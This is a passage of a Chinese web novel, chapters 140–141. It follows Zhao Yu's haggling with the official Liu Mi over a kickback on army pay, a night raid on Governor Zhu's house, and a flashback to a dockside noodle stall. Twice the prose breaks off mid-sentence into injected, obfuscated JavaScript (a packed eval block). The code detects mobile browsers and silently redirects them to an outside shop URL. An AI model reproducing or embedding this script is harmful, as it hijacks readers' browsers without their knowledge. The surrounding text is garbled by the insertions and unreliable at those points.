杨进,“是。” 赵毓冷笑一声,没说话。 杨进,“他说,尹部堂是国之柱石,这个价码,是人情,别人要留两成,也就是六十万两白银。” 赵毓,“这些年咱们在西北开销军饷过七千万两,只向户部报了三千六百万,又没给他们什么,这帮子蠹虫在咱手里没捞到油水,不存在人情。” 杨进,“姑爷,人家就不能说的是真话?就是仰慕咱?” 赵毓,“当年的静海郡王出征东瀛不幸殉国,之前,人家也是战功赫赫,你仰慕?” 杨进,“拉倒吧,听说人家出征带的娘儿们都有三十几号人,人家的军饷是直接从江南制造局调拨的缂丝,从宁波出海换的白银,咱要是有这个路子,咱的功业比他还大!” “还是啊,人同此理。”赵毓说着,却心中一动,——这是个路子,等眼下关口一过,可以试试。 杨进,“姑爷,可眼下,……” 赵毓,“我见见这位户部小吏。” …… 黄枞菖被赵毓推着,极不情愿的到柳密跟前。说实话,微音殿外,这些人还是不要相见比较好,毕竟,人不是铁打的,都想要休整休整,没人想着一天十二个时辰绷紧弦,那样还让人活不活? 赵毓在黄枞菖背后,看着柳密,“柳大人上门,哪股阴风把您吹来的?” 柳密长相斯文,气质却与众不同,像上等的汨罗丝织锦,经纬极密,没有缝隙,可以做袍服,也可以做杀人捆绑的网。 …… 杨进在北城一家隐秘的私房菜约了客,小院子中没其他人,桂树和松柏茵茵,遮挡了被青砖青瓦分割的四方天际。赵毓推开门,看见那位“户部小吏”坐在木桌旁边,极斯文。 赵毓,“先生出身翰林院?” “是。”那人起身,“在下柳密,元熙三年进士,被选为庶吉士,同年入翰林院。今年刚散馆。” 140. 140 柳密 140 “元熙三年的进士?” 赵毓,“今年刚元熙五年,先生都是散馆的翰林了,不要说与您同科的进士不能比,就是与您一起进翰林院的那些储相们都不能比,您真是实打实的前途不可限量!只是,……” 他说着,话锋一转,“先生为何不进微音殿,而来户部做事?” 柳密,“我出身微末,读书就是为了功名,如今有了功名,就想要做些实在的事情。” 赵毓点头,“大人好气度。” 柳密,“不敢赵先生称大人。” 赵毓,“柳大人位列台阁,早晚的事儿。”他请柳密坐下,又抬手倒了茶,才问,“柳大人既然如此清雅,为什么开口问我们要回扣?这笔军饷,一分一毫都是前边儿兵士的血。您也知道,如今西北战局糜烂,没有这三百万两渡劫,前功尽弃了。” 柳密端了茶盏,也是语重心长,“赵先生,您通情达理,我与您说实话。年根儿了,我们户部封账那是天经地义,就连御史台督察院都说不出二话来。这点,您认可吧。” 赵毓点头,“是,我明白。” 柳密,“我们年根儿下开销军饷,这是人情。雍京久居大不易,京官穷,既然是人情,总是要有些人情债的,您说,是不是?” 赵毓,“一成军饷,三十万,太多了些吧。” 柳密放下茶盏,忽然向前微微一倾身子,“要不,我给您算便宜儿。二十五万?” 赵毓,“十万,不能再多了。” 柳密,“二十万。户部上上下下都辛苦一年了,年底了,拿不了银子回去,年都过不好。” 赵毓锁着眉头,仔细寻思,末了,一咬牙,“十五万!” 柳密,“十八万!” 赵毓刚要开口,柳密拦截,说,“赵先生,户部明天就封账,您这笔银子要是不给,过了今晚,您就算是捧着二百五十万的白银,都送不进户部的大门!我们也不敢再要了。再说,西北不是您一家等着开销,甘宁总督祝惟演许给的我们的是六十万两白银!” “老祝?”赵毓一讪,“柳大人是聪明人,他就算是捧着二百五十万,您也不敢要。” 柳密不说话,就是喝茶。 赵毓,“柳大人装糊涂是吧。您不是翰林嘛?这一年来,没少抄写西北军报吧。甘宁总督祝惟演,不战不和不守,不死不降不走,——相臣度量,疆臣抱负!古之所无,如今也罕有。” “这老祝要是哪天不走运,被西北游兵散勇抓了去,我可没钱去救他。等到朝廷追到今天这笔军饷的事儿,户部谁开销的军饷,谁就脱不了干系。到时候,就算您圣眷正隆,不死也得扒层皮。” …… “赵先生不必如此。”柳密看着黄枞菖身后的赵毓,“黄秉笔也不是您的挡箭牌,看您,将黄秉笔的衣袍都攥褶皱了。” 赵毓猫在黄枞菖身后,扯着他壮胆,才说,“拉倒吧。老黄和你同殿为臣,他自然不会与你抓破脸。我如今解甲归田,无事一身轻,我才不要和你再有半分瓜葛!你这个人,外表斯文俊秀,实则一肚子坏水,我老实厚道,没你那么多心眼儿,不绕着你走,不定哪天又着了你的道。” 柳密,“先生书院正堂挂的这匾额,写的真好。大、正二字,先生何解?” 赵毓心想,文湛写的。他又不风流,没啥文采,估计看着大正宫,比照着就写了,还能有什么讲究?于是,回答,“不小,为大;不歪,为正。” 柳密听着,低头笑了。 赵毓,“……” …… 见了“户部小吏”,赵毓回府,听到管家回话,尹名扬虽然热没有退尽,却睡的安稳了。 杨进过来问,“户部回扣十八万的事,我们应吗?” 赵毓,“咱们府里还有多少现银?” 杨进,“三千两。” 赵毓一惊,“这么多?我以为最多八百两,咱们管家爷爷够能攒的啊!” “开源节流,量入为出,多年惨淡经营的成果。”杨进带着自豪,“雍京久居大不宜,人情往来都是不小的开销。” 赵毓,“嗯,那你能在今夜凑出十八万两现银吗?” 杨进双腿一软,“啥?” 赵毓冷哼了一声,“老杨,我听说祝惟演许诺户部六十万,你猜,他现在手边能有多少?” 杨进眼睛转了一下,心中估算,才开口,“他想要抢这笔军饷,六十万肯定是从户部出再流回户部,谁的手边也没有这么一大笔现银。我估摸着他手边的银钱,不足十万。” “十万?” 赵毓冷笑,“这笔钱够修云中黄河堤坝了。我觉得,他手边不足五万。老杨,你赶紧去,找人满雍京城乱喊,就说,咱手中有十三行现兑的白银十八万,今夜送进户部,明天开销西北军饷三百万!” 杨进,“姑爷,这种事都是闷声发财,哪有满雍京城乱喊的?再说,户部那位小吏不是应了咱了吗?” 赵毓,“你说柳密?” 杨进连连点头。 赵毓顺手从墙根下抄起来一根扫把,冲着杨进的屁股就是一下子! 杨进,“……!!!” 赵毓,“还户部小吏!你打听清楚人家来历了吗?他才多大?元熙三年的进士,今年才元熙五年,他连翰林院都混完了,摆明了要进微音殿,那是以后的重臣,没准还是宰相。还十八万白银的回扣,他长的就像个眼皮子浅的蠹虫王八蛋!老杨,人家下的钓钩都是直的,就这,你都能上钩。以后等你咽气,你老婆问我你是咋没的,我就说你是笨死的。” 杨进,“……???” 赵毓,“别想了,这个时候,让你干啥你干啥。去,快去!” 甘宁总督祝惟演在雍京城的府邸也在北城,距离尹家并不是很远,月上柳梢头,此时,他正在家中坐卧不宁。 ——四万七千两现银已经送进户部,可是,他为什么心中如此的忐忑? 傍晚时候,他得到消息,赵毓手边有从十三行兑的现银十八万,他的幕府说这是障眼法,他却不这样看。 赵毓此人,来历经历都很复杂,但在西北这些都不重要。兵连祸结的疆域上,唯一看中的能力就是搞到军饷,而赵毓,就是个中好手。他与十三行交情匪浅,他说有,就笔银钱就一定有,绝对不能心存侥幸。 而且,自己许给户部的回扣比赵毓高出一倍,之前不出手,是觉得凑的再多一些,至少到十万,才是心意。可是自从听到赵毓从三十万降到十八万两的消息,他就知道,户部也着急了。看样子,年根儿谁的日子都不好过,有,总比没有强。 他如今先送订银过去,不论多少,人家总要看面子的。再说,就算不看自己的面子,也要看老师查伊瑝、查阁老的面子。 这次尹氏兵败,是千载难逢的好时机! 拦截了他们的军饷,尹氏和赵毓是缓不过开春的,到那时,西北就是自己的囊中之物。 肃清西北的万世功勋,世袭的荣华富贵,仿佛已经唾手可得! “老爷。”小童来报,“有客。” 月下,一个人,穿着蓝色的长衫,披着白色狐皮大氅,慢条斯理的走进来,“老祝,有日子没见了,你这个小院拾掇的不错,可惜,你也住不上了。” 是赵毓! 而他身后,则是数不尽的缇骑! 祝惟演终于知道,这股不安,从哪里来了。——许给户部回扣,从户部开销军饷是惯例,却是上不了台面的惯例。遇到一位“通情达理”的吏部官员,自己这种做法就是“人情通达”;但是,如果遇到一位过刚过直的,自己则是贪污公帑,这是罢官革职的大罪! 何以如此疏忽?! 大概,是因为,过刚过直的人,已经许久没有见过了。 赵毓按住他肩膀,把他按回椅子上,“老祝,你看看你,自己不学好,还连累座师。查阁老要是被你牵扯进来,进了诏狱,也没人捞你不是?” “胡说八道!”祝惟演也怒了,“你别随意攀扯,老师与此事毫无关系。” 赵毓轻笑,“你说没关系,就没关系呀。那日在微音殿,查阁老稳的很,坐山观虎斗,今晚过去,我倒要看看,他还稳不稳?” 缇骑抄家沉默有序,祝府一切金银封存,充公。 然而,赵毓还是高兴的太早了。 那一晚被抄家的官邸,不止祝府。 …… “赵先生。”柳密看着躲在黄枞菖身后的赵毓,“您先从黄秉笔身后出来,我今天很有诚意登门,您不用这么躲着我。” 赵毓狐疑,他从黄枞菖肩膀头上探出半个脑袋,“你的诚意是啥?” 柳密袖子角轻抚了一下桌面,那里有个小坛子,“内人亲手做的酸萝卜,按您的口味,放了一些米酒。” 赵毓指着他,“你,离远点儿。” 柳密后退五步。 赵毓蹭过去,打开小坛子的盖子,一股甜酒糟过的小菜的香气,飘荡而出。 …… 在祝府看抄家看了小半个时辰的热闹,赵毓回到尹府,开始幸灾乐祸,“这一次,我用柳密做刀,反手就灭了老祝,连带着查阁老也吃瓜落。我估计老祝不死也得扒层皮,查阁老就算想要捞他,甘宁总督的位子是保不住了,没准儿给他在黄河沿岸谋个差事,让他抬河泥去!” 杨进,“还是姑爷神机妙算。” 结果,赵毓还没幸灾乐祸半盏茶的时辰,缇骑到了。 柳密也到了。 “赵将军想要用卑职做刀,也要看,卑职这把刀,将军是否握得住?” 缇骑做事情老道,尤其是简单抄检总督一级大员的府邸,更加老道。 下人老妈子丫鬟们,都让待在自己屋里,不准点灯,不准出门,杨进和赵毓在院子中,而卧病在床的尹名扬则继续卧着。 杨进提心吊胆的看着他们。 赵毓单手扣着盖碗,面无表情一口一口喝着茶,“柳大人,我真冤枉,我什么都没做啊。” 柳密,“今夜向户部送贿银的人是祝大人,可是,傍晚之前,与卑职讨价还价的人,却是将军您。” “老祝油水多,你们在他那里能抄出几万白银。”赵毓,“我穷,都要当裤衩子了,你们能榨出啥?” 柳密不语。 半个时辰的钻山打洞之后,六个壮实的缇骑,从后院密室起出来几口大箱子,放在当院,打开。借着月光,杨进这才看清楚,箱子里面全是上等昆仑羊脂玉,琥珀,和一箱子珍稀皮草。 最后,一个人双手抱出一个黑檀木的长条盒子,装着一件极罕见的白貂披风。毛针细腻浓密,世所罕见。别的也还好说,只是白貂,非微音殿不能使用。这个披风,给谁的?…… 柳密,“赵将军,这些东西,总价超过三十万两白银了吧。” 杨进这才知晓,赵毓一开始,就存着用几十万白银买户部开路的心! 柳密,“您这几十万进了户部,开春的春播就有底了。” 赵毓把盖碗放下,也不说话了。 “识时务者为俊杰。”柳密笑着说。 最后,有人又扯出了碎银一箱子,过秤,大约三千两。 赵毓,“我们这一家大小也要过年,这年根儿下的,你们不能一分不给剩吧。” 柳密从中拿出二百五十两,放在赵毓喝茶的木桌上。 “赵将军,这里清点完毕,您与这位参将跟我去户部。我们连夜给您清点二百七十万两白银的军饷。您家这两千七百五十两,就算是我们户部兄弟们过年的喜面儿。有了这笔银子,大家伙儿干活也利索些,过年,也能吃上六必居的酱菜了。” 杨进本来以为军饷无望了,还要下诏狱,没想到绝路逢生! 赵毓一撇嘴,“六必居的酱菜有啥子好吃的,味道单一,酱也不香,我们家后面还有几坛子酸萝卜,用米酒腌制的,我吃粥都就着吃,特别香甜!你要是喜欢,也刨走。” 杨进心说,姑爷这不是糟践人嘛! 谁知,柳密笑着说,“那,卑职恭敬不如从命。”他马上吩咐缇骑,“将尹府后院的酱菜坛子尽数刨出来,咱们带走。” 赵毓,“……???” 杨进就看着缇骑一箱一箱子向外抬,赵毓就这么看着,一句二话都没,只是当有人抱那个黑檀木盒子的时候,他开口,“柳密,这个白貂披风给我留下。这玩意儿卖不出去,你们户部入不了账。” 那个抱着盒子的缇骑看着柳密,柳密点了点头,他才放下。 全部抄检完毕,柳密说,“赵将军,杨参将,与我去户部收军饷吧。” 赵毓,“这么多白银,我们收了,放在哪里?” 柳密,“西北军情紧急,还请二位以国事为重,清点军饷完毕之后,即刻启程回敦煌。” 赵毓一愣,“我岳父还病着。” 柳密,“部堂大人,自然要留在雍京养病。” 人质?! 赵毓,“你什么意思?” 柳密,“雍京这里有大夫,安心静养,不日康复,难不成,赵将军要让部堂大人舟车劳顿,病上加病?” 说着,他靠近一步,极低的声音说,“王爷,您手中有太|祖皇帝的玄铁虎符,有上皇密旨,按惯例,尹氏怎么也要全族住在雍京城才合乎规矩,而你们全家远在西北云中逍遥,这是旁人难以企望的福气。” “如今西北局势糜烂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵毓笑的谄媚起来,“柳大人,别站着,来,坐,快坐!” 他转头,冲着黄枞菖,“黄瓜,你别戳着,再给柳大人沏碗茶。我书房的柜子里,左起第二个盒子,里面藏着两个小瓷坛子,是今年的明前茶。用那个沏,那个香。” 柳密刚想拦,黄枞菖脚底抹油,溜得比贼都快! “赵先生,不用这么客气。” “应该的,应该的。”赵毓左手吊着,右手搓着大腿,“柳大人的公子,怎么不送谢家书院,却想起来我这个小庙?” 柳密,“我俸禄有限,雍京居住本来大不易,还要寄一些回乡奉养岳父一家人,手头实在拮据,付不起谢家的束脩,而先生的雍南公学,学子读书是不要钱的。” 赵毓咯咯一笑,“你柳密的儿子如果想要进谢家书院,谢枯荣做梦都能笑醒,他还敢要你的束脩?我看他都敢以贵公子天赋英才,应安心读书为理由,送你雍京北城一座宅院!” 柳密也笑了,却没有赵毓这么放肆,而是极清淡,像微雨中的水面,似乎有涟漪,又似乎没有。 此时,黄枞菖重新端了个茶盘,放着两碗茶水进来。 柳密连忙站起来,“有劳黄秉笔。” 黄枞菖连忙说,“您坐,您坐。不有劳,没事儿。” 赵毓,“我们这里读书不要钱,柳大人拮据,所以柳公子来雍南公学,谁也无法挑理儿!这理由好,真的好!” 柳密,“青天白日,朗朗乾坤,说得出口的理由,都是好理由。” 阳谋! 赵毓,“可是,柳大人究竟为什么看中我这里,给我交个底。” 柳密,“先生书院挂着的大正二字。” 赵毓,“那是御笔。” “不,不是这个理由。”柳密却说,“我是读书人,谄媚主上的事,不做。我看中的是这两个字的含义。先生既然将大正二字挂在中庭,不妨了解一下,这两个字,究竟是什么意思?” 赵毓点头,他看着柳密,自己的脸蛋子就止不住的乐。 柳密咳嗽一声,“赵先生答应了?” 赵毓连连点头,“答应,答应!” 柳密,“见赵先生如此高兴,我也放心了。” “高兴,高兴!”赵毓说着又乐了,“上一次这么高兴,还是我老婆去冉庄找我!” 柳密,“……??” 黄枞菖,“……!!” 黄枞菖按了一下赵毓的肩膀,他终于冷静了一下,伸手将脸蛋子上的笑容抹平,换上一副正经面孔,“柳大人,晌午了,您饿不?” 柳密,“内人家里备了饭。” 赵毓,“嫂夫人送了我一坛子酸萝卜,我怎么着也得回个礼。黄瓜,去,看看赵大妈的肉炖好了没?要是得了,割条猪腿,给柳大人送家去。哦,对了,再从厨上包一布袋懒龙。” “恭敬不如从命。”柳密起身,“不知,雍南公学什么时候重开?小儿什么时候送过来?” 赵毓一拍大腿,“明天!” …… 薛宣平被黄枞菖从小黑房中扯出来的时候,日头正当头。赵大妈的肉已经炖好,虽然少了一条猪腿,可是依旧丰饶。小院中人人喜气洋洋的,大口吃着肉,大口吃着大懒龙,油滋滋的,嘴角都冒油。 “老薛,快,赶紧吃。”赵毓喊他,“吃饱了要干活。咱这书院,明儿一早开工!” “啥?”薛宣平丈二和尚,“不,不是。这怎么东一出,西一出。不是刚要查封嘛,怎么一下子就开张了?” 赵毓指着天,“匾额大仙,又显圣了。” …… 赵毓单手拎着食篮,装着吃食回到后院,文湛已经将写好的帖子收拾停当。 他看了他一眼,“不生气了?” 赵毓,“我生气了吗?” “嗯。”文湛清净的点头,“方才训的我都不敢说话。” 赵毓,“呃,……” 文湛轻笑了一声,“没事,我又不是外人。” 赵毓,“文湛,你是不是知道柳密要来?” 文湛没说话,他坐好,伸手拿过筷子,夹起来一块丝瓜,放在口中,细嚼慢咽。头发没有扎的十分严谨,额间垂下一丝,显得他不可言喻的清贵俊美,与浓浓的书卷气。 “文湛,这个大、正二字是什么意思?”赵毓问,“难道不是随便从大正宫取了两个字吗?” “承怡,那么,大正宫的大正二字,又是什么意思?” 赵毓,“太|祖皇帝胡乱找了两个字吧,毕竟,他又不是读书人。” 文湛,“大郑开国之前是八百年的诸侯,不是草莽。涉及国祚的宫殿名字,更不会敷衍。” “包含乾坤众生,为大;天地浩然,为正。是为,——大、正。这是告诫后世子孙,想要国祚绵长,治国之道,当为王道阳谋。” 141. 141 141 这个世上,有光必有影,有阳谋就有阴谋。雍南公学的风波与稳定,钓出来一个兰芝社背景的刑部尚书陈耘珪,也算是正式把江南兰芝社拱上了雍南公学对面的擂台,虽然外面看起来,这场对立依旧是烟雨朦胧春光薄,犹抱琵琶半遮面。 “文湛,兰芝社、藩镇和北境,哪个更让人头壳疼?” 皇帝安静的用筷子夹了一片苦瓜,“不分伯仲,只是,事分内外缓急。” 赵毓从食篮中拿了个懒龙,摆放在干净的石头桌面上,“殷忘川军报传来那天,在微音殿外,我遇到了梁徵梁阁老。这老头儿刚开始跟我倚老卖老,最终,说了几句肺腑之言。” 他说着,又摆了一个懒龙。随后,继续说,“老梁的意思是,裁撤藩镇让勋贵心寒。还有,西北战局初歇,要给天下一个喘息的空当,尤其是东南。朝廷向来都是东南赋税赡养西北甲兵,如今西北战事好不容易平息了,不能再将全境军费压在东南赋税上,涸泽而渔。” “这些天,我得空就想想,这个东南就是江南兰芝社的根基所在,再征税,就是抽他们的血,人家自然不甘。所以,从一开始,在北境的战事上,兰芝社出身的官员都消极的很,能坐着绝对不站着,能趴着绝对不坐着,而且,一有机会,还要挖坑使绊,目的就是不能再让朝廷军队出征北境。” “七年前,西北大乱再加上天灾,饿殍遍野,楚蔷生问政,兰芝社领袖沈熙载都能清雅而慢悠悠的回一句:未知生焉知死。可想而知,在他心中,庶民百姓的生死是遥远而荒诞的笑话,不值一提。北境冻土那么远,就算大鲜卑山两侧尸横遍野,也不耽误他们搂着瘦马游船喝酒吟诗作画,又有什么可操心的?” 赵毓又摆了一个懒龙,“东南赋税不让名正言顺的动,那么北境军饷一开始就要倚赖元承行。至于开战以后如何调拨军饷,兰芝社也无法全权掌控,没准儿还是要转到东南。所以,为了从根源上断绝这种可能,兰芝社用刑部尚书以珊依牵扯到梁十一,又牵扯到雍南公学,最终目的其实是我,或者说,就是要打击元承行。” “文湛,你说得对。” …… 那日,赵毓想要退一步,“我想用雍南公学做饵,钓一钓鱼,看看表面上风平浪静的雍京,到底游着什么大鱼?说实话,端午那夜,午门外和南城出了那么大的事,梁十一阖府下了诏狱地牢,要是雍南公学水毛不沾湿,实在说不过去。” “不行。”文湛当机立断拒绝,“如果你放任雍南公学被封,梁十一全家十几口人就能不明不白的死在地牢,以后,元承行也可能被封,元承行的银票汇票和债票都有可能顷刻之间成为废纸,那是收复北境的军费。再向坏处想,北境的局势有可能进一步恶化,终至糜烂不可收拾。” …… 赵毓继续摆懒龙,“我琢磨着老梁的意思,北境就是卧榻之旁的猛虎。常人都说,卧榻之旁岂容他人安睡?可是陛下不是常人,卧榻之旁容得下他人安睡,也容得下猛虎,这是常人难以望其项背的勇气与度量。” “老梁说北境是猛虎,难容、没容过也要容。” “他不懂。藩镇、兰芝社就不是猛虎吗?我们与兰芝社之间的角力,也是历经数百年,几代人、甚至是十几代人了,藩镇也是如此,这么说来,我们其实一直都与猛虎比邻而居。” 文湛从赵毓摆放的懒龙中拿了一个,拍了拍不存在的灰尘,咬了一口,“兰芝社、藩镇与北境,毕竟不同。” 赵毓想了想,轻轻点头。 兰芝社是大郑的臣民,藩镇是大郑的勋贵,文湛是大郑帝王,是他们的君父。 而北境大患则是外敌。 …… 赵毓想起来,那阵子同文湛胡闹的过分,身子发虚,黄枞菖扯着他去看大夫,随后回他的小馆子吃饭,说过:“徐绍,是圣上亲自布防的大郑北境第一道防线;而这第二道防线,就是您向定国公举荐的白策。” 而关于北境,崔珩也说过,“稳妥一些的做法就是放弃撤藩,安抚为主,一切从长计议。只是,需要重用北境总督徐绍,把他锻造成一把刀,甚至是一座山,可以真正镇守北境大片疆域。” 赵毓回想,自己当时怎么回答来着?“诸侯之博大,天子之害也。藩镇是凶兽,为了震慑这些凶兽们,我们需要再制造一只更凶的兽。如果真这样做,这样被养起来的徐绍与那些藩镇,又有什么区别?” …… 徐绍,究竟是北境长城,还是天子之害的博大诸侯? …… 赵毓把摆放在桌面上的懒龙又统统放回篮子中,“陛下,让我见见程风。他状告北境总督徐绍,为夺取北境军权私杀友军,为掩盖滔天罪行将幸存者程氏一家灭门的事,应该不是诬告。” 文湛却久久没有说话。 这是拒绝。 那夜在岐山,面对几株桃花,丰茂的水草,一条流动的清溪,几尾游鱼,赵毓问道,文湛说过的,“众生平等只是空话。人生来不平等,带着枷锁,这是活着的代价,也是天道。” 程风诬告也好,不是诬告也罢,追本溯源:——程风、程氏满门、再加上因为徐绍夺军权而无辜死亡的兵士们,这些人的性命,在皇帝心中,与徐绍或者说北境大局相比,孰轻孰重? 人命与大局,如何取舍? 或者说,几条人命,才够分量撼动大局? …… “承怡。”文湛安静咬着懒龙,问了一句,“那天,在祈王府,殷忘川同你说的话,你可曾上心?” …… 赵毓,“你想我做什么?” 殷忘川,“徐绍。” “他阻了我南下的道。雄鹰也飞不过去的大鲜卑山?如果没有那位徐总督,对于我,一马平川。” “承怡。” “既然徐绍是你为大郑皇帝铸造的北境长城,……” “那么。” “我要你亲手毁了他。” …… 虽然文湛一直没有问过那天的事,赵毓知道,他知晓一切。 当时黄枞菖在场,他必然会将祈王府中赵毓与殷忘川说过的每一句话,一五一十禀告皇帝。 文湛,“端午那夜,他在雍京城闹出那种阵仗,程风午门喊冤,就是要把徐绍拉上祭坛,让我们自毁长城。在祈王府,他也没有隐瞒。承怡,程风的事情如果深查徐绍脱不了干系,到时候我们要怎么做,缴他的兵符?北境军队交给谁?藩镇是否继续裁撤?而无藩镇,无徐绍的北境能否阻挡殷忘川南下?事缓则圆,应徐徐图之。” 此时,赵毓明白了。 文湛的意思,不,确切说是皇帝的意思,——对于北境,赵毓最好先袖手旁观。 “卧榻之旁容猛虎?”文湛忽然微微低头,轻笑了一下,“我的卧榻之上,已经有一只猛虎了。” 赵毓,“……??” 似乎赵毓的傻样取悦了皇帝,此时的文湛笑的清清浅浅,让赵毓想起来一句诗,谁写的他忘记了,就是觉得应景,——美人如花隔云端。上有青冥之长天,下有渌水之波澜。 咔吧,咔吧,咔吧,咔吧,…… 文湛,“你吃什么?” 赵毓呆傻的搂着一个小坛子,手指从里面捞出来萝卜头,说道,“柳阎王老婆做的酸萝卜。咦?不对!” 赵毓看着被自己吃空了半坛子的酸萝卜,拿着勺子伸进去搅了一下,从里面捞出一块软柿子,“原来是柿子浆!” 文湛不解。 “柳密!”赵毓又仔细看了看坛子,“萝卜是柳密腌的!” 皇帝微微一挑眉。 “文湛,我爱吃用米酒糟过的酸萝卜,就着白米粥吃,一次能吃一整碗。” “嗯。”皇帝微微点头。 “宫里的厨子会做,我丈母娘家的厨子也会做,都是我教的,要用米酒腌,其实,味道都和我想的要差一些。我厨艺不精,也只能描述个大概的味道。当年我第一次吃这种萝卜闻到一股子酒香,就觉得特别合口味,我原本以为是米酒,没想到,其实,这是柿子酿的酒浆!” “那个时候老爹还在,我还没加冠,没到二十岁,这么一说,也得十六、七年前了。” “那年,刚过正月十五,我约了几位叔伯家的世子们去南苑猎场打马球。那天雪大,那群酒囊饭袋骑术太扯淡,根本不顶个,几下子就被杀的落花流水,晌午饭点都没到,他们都不成了。我回城的时候,忽然记起来老崔那天从南边回雍京,就去了卢沟晓月接他,当时有些饿,在码头岸边松柏树下找了个面摊吃东西。” …… 凤化三十八年,正月十七。 下了两夜的雪,晌午刚停,正午日头出来,整个雍京银装素裹,泛着白光,却更冷了。 卢沟晓月。 承怡下马,他扔了缰绳给身后的随从,对亦步亦趋跟上来的黄枞菖说,“徽郡王家的老九儿马骑的相当不错,仅凭我们两个组队,就打的那群世子王孙们屁滚尿流,呼爹喊娘。上次楚蔷生还跟我说,咱们大郑天潢贵胄的府邸都是比照着猪圈搭的,养出来的凤子龙孙也都像猪。今天这么一看,还真对!楚蔷生看人眼睛贼尖,说话一针见血,天生就该吃督察院这碗饭。对了,黄瓜,回头你拿我名刺约禁卫军到南苑猎场打球,那才当真够劲!” 黄枞菖扯着他的衣袖,“王爷,小声点,这里是码头,人多口杂。” 其实,他们一行人已经够扎眼了。祈王承怡是一品亲王,身上不是蟒袍,仅仅着猎装已令人胆战心惊,黑色贡品缂丝的窄袖衣袍,衣襟上用金线绣着山河纹。单手扛着击鞠的杆,数百年南洋老藤的好料,手握的地方是雍京制造局钨铁锻造,雕刻着龙头,包着刺目的金皮。 承怡左右看了看,压低声音说,“饿了。” 黄枞菖,“……??” 隆冬,满目尽是枯枝,只有沿着河边不远不近的地方有松柏林,坠着皑皑白雪。树木下支一个面摊,天冷,吃面的一个人没有,却烧着柴,支起来一口大铁锅,一个半大小子坐在锅旁边,看着他们。 承怡,“小哥,煮几碗面。”他说完又看了看周围,“你这没桌子吗?” “食客们不挑剔。”那个半大小子起身和面,“来我这里吃面的都是粗人,蹲在地上吃。” 黄枞菖左右看了看,“要不,咱换个地儿吃?” 承怡手中球杆做拐杖,“走不动了。”他左右看了看,挑拣了一块大石头,一屁股坐下,“读书人煮的了面,我也能蹲在这里吃。” “读书人?”黄枞菖有些疑惑的看了看煮面的半大小子,“您说他?” 承怡比了一下手指,没再说别的。 黄枞菖让其余人到码头那边打听一下,从南边回来的崔珩什么时候到。 承怡看着那个半大小子不紧不缓的和面,忍不住嚷了一声,“敢情您这面,是现和的呀。” “嗯。”面摊主人继续不紧不慢。 承怡,“您咋不现种麦子呢?” 面摊主人,“来不及。” 承怡,“敢情您也知道来不及啊!” 面摊主人,“如果您实在饿得慌,……” 承怡,“怎么着?” 面摊主人,“就少说两句,省省力气。” 承怡,“……??” 面摊主人说完,继续不紧不慢,却极认真开始擀面,抻面了。 坐着等,不但无聊,还有些冷。承怡扯着黄枞菖向林子里面走了走,“方才在南苑,旻铉和我说,徽郡王已经呈了折子给我爹,要册他做世子。” 黄枞菖,“徽郡王家的九爷?” 承怡点头,“嗯。” 黄枞菖,“九爷家那八个哥哥不是吃素的。” 承怡,“旻铉和他娘也不是吃素的。他娘是个人物,当年她母族为了联姻,她十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728999|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁嫁入徽郡王府,老头子都六十了。入郡王府的第三年,郡王妃十四岁在产床上生下旻铉,彻底坏了身子,以后只能用名贵药物续命。入药需要一味迦南,不但是贡品,而且是大郑皇室祭祀才燃的香,我爹每年都从大内拿出一些了赏赐,这么大的面子,少有。” 黄枞菖,“郡王妃什么时候存着这个心思?” 承怡,“我猜想,应该是入郡王府的时候。瞧瞧老九儿那个名字,旻铉,就是他娘起的。铉,如钩,举鼎之器。鼎为社稷,而铉则是辅佐鼎的三公重臣。徽郡王的儿子,以后的世子,身为宗室,野心却止于三公。”他咂摸着嘴巴,“这个名字招摇,又不那么招摇。简直招摇的恰到好处。” …… 雍南公学中,文湛安静的听着久远的故事。那几年的事,他不想回忆,却愿意听赵毓说说,往事如烟,早已流散,眼前人就在眼前,已经成了枕边人,温和细语,像是补足了曾经血淋漓的残缺。 赵毓说,“那个时候我跟黄枞菖正说着话,忽然,沿河那边大人哭,小孩叫,让人听着耳朵鼓胀的疼。我们赶紧从小树林中出来,就看见几匹马沿着官道狂奔而来,沿途踢翻了不少人。” 文湛,“马惊了?” 赵毓,“不是,马好好的,那可是一匹匈奴好马!通体黢黑,只有额间一点白,像一块刀疤,罕见的千里马。周王世子押运贡品回天草进雍京,老爹一高兴,就拿那匹马赏了他,这个世子就不知道天高地厚了,拉着几个二百五当街跑马。幸好,他的脑袋还没被驴踢,还知道雍京城不能闹,那几块草料就跑到城外码头去折腾。” …… 他们从小树林出来,承怡一愣,“有妖怪!” 官道上飞沙走石! 雍京刚落下的雪,在地面上趴着尚且没有消停一刻钟,就荡起,将人眼都迷了。路人小摊,摆放的货物,甚至还有一些闪避不及的人,就被马蹄卷起来,漫天飞舞。大人叫,小孩子哭,乱成一个热窑。不容他们迟疑,那团乱,卷着尘土向面摊袭来! 支面摊的半大小子也不知道是手无缚鸡之力,还是当场吓傻,竟然一动不动。 承怡一步上前,伸手扯住他的后脖领子向旁边猛拽,用力推给黄枞菖,拉扯到一旁,他就地一滚,手中的老藤球杆用力击打马腿。 马惊了,一声长嘶,前蹄腾空。马上的骑士暴怒,挥手中的马鞭,冲着承怡就劈!没想到,鞭子却被老藤球杆缠绕,拉扯不动,承怡就势一滚,将锦衣骑士扯下马。 没了人的操控,再惊的马也就是冲到松柏林,在空地上狂奔了几下,也就安静了下来。 …… 面对文湛,赵毓只是说,“马惊了,把周王世子那个蠢货掀下来。” …… 那人摔倒在地,半天缓不过神,承怡一骨碌爬起来,单脚踩上他的胸口,以手中的球杆扶手拍他的脸蛋子,周王世子就看见眼前一个黄金龙头,冲着他,颤巍巍的,露出獠牙。 